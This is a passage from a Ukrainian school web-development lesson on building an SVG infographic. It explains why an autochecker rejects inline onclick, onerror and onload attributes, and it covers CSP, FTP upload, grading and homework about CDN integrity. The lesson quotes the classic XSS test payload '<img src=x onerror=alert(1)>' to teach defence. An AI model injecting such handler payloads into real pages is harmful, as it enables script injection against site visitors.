});
Пастка, на якій спіткнеться половина класу Якщо відкрити index.html подвійним кліком, адреса буде file:///…, і fetch('data.csv') впаде з помилкою доступу — браузер не дає читати сусідні файли з диска. Перевіряй сторінку через справжній сервер:
python -m http.server 8000 у теці проєкту, далі http://localhost:8000/. На 91.219.61.4/s/ivan все працює само собою.

Чому в розмітці не має бути onclick

Автоперевірка шукає в твоєму HTML рядки onclick, onerror, onload. Поки хоч один із них у файлі, перевірка не стає зеленою: прибереш — заллєш ще раз, спроби не обмежені. Причин три:

  1. Це той самий механізм, яким працює XSS. Пам'ятаєш урок 4: <img src=x onerror=alert(1)>. Атрибут-обробник перетворює будь-який рядок розмітки на виконуваний код;
  2. Це блокує захист CSP. Політика безпеки вмісту дозволяє сказати браузеру «виконуй лише скрипти з моїх файлів». Але сторінка з onclick у розмітці з такою політикою просто перестане працювати — і від захисту доводиться відмовитися;
  3. Це неможливо перечитати. Обробники, розкидані по сотні тегів, не знайде ні пошук, ні ти сам через тиждень.
та сама кнопка: погано і добре
— не зарахує: <button onclick="showTable()">Показати таблицю</button> — зарахує: <button id="btnTable" type="button">Показати таблицю</button> …у chart.js: document.getElementById('btnTable') .addEventListener('click', showTable);
Питання

AI-редактор згенерував тобі гарну сторінку, і в ній є рядок <svg onload="draw()">. Усе працює. Чому автоперевірка все одно не пропустить цю роботу — і що саме треба виправити?

Крок 13

Практика: інфографіка, якій можна вірити

Кроки 1—9 робиш у себе на комп'ютері, кроки 10—12 — заливання по FTP і перевірка. Галочки зберігаються

Межа лишається тією самою Макет у Canva чи Figma, знімки екрана, будь-які зображення — усе це живе в тебе на комп'ютері й показується вчителю очно. На сервер ідуть тільки index.html, chart.js і оновлений credits.md. Растрових картинок у ~/www/infographic/ не має бути жодної: діаграми — це SVG, який малює твій код.
Крок 14

Автоперевірка

Чекер не оцінює красу. Він звіряє числа з data.csv, шукає integrity і <title>. Спроби не обмежені

Демонстраційний режим: результат згенеровано для показу. На сервері ця кнопка викликає POST /api/check, який запускає /opt/lessons/06/check.sh від імені учня.

Що вчитель дивиться на твоєму екрані

Крок 15

Шкала виконання

Це те, що бачить учитель, коли виставляє оцінку.

СкладникВагаРезультат
Виконано
0%
Рекомендований бал за 12-бальною

П'ять речень, які варто запам'ятати

Де найчастіше помиляються

Домашнє завдання

Переробити одну зі своїх діаграм так, щоб сенс читався без кольору взагалі. Способи на вибір: штрихування через <pattern>, підписи біля елементів, різна форма маркера, порядок від темного до світлого.

Перевірка проста. Зроби знімок екрана у відтінках сірого. Якщо серії досі розрізняються — завдання виконано.

Другим абзацом допиши в credits.md ось що. Уяви, що ти підключив бібліотеку з CDN без integrity. Що зміг би зробити її автор на твоїй сторінці? Напиши своїми словами й додай приклад одного рядка коду.

Джерела

Звідки взяті твердження й числа

Усе, що можна перевірити, має бути перевіреним. Формули на цій сторінці працюють у тебе в браузері просто зараз

Повний список із поясненнями, що звідки взято, — у файлі urok-06-джерела.md поруч із цією сторінкою.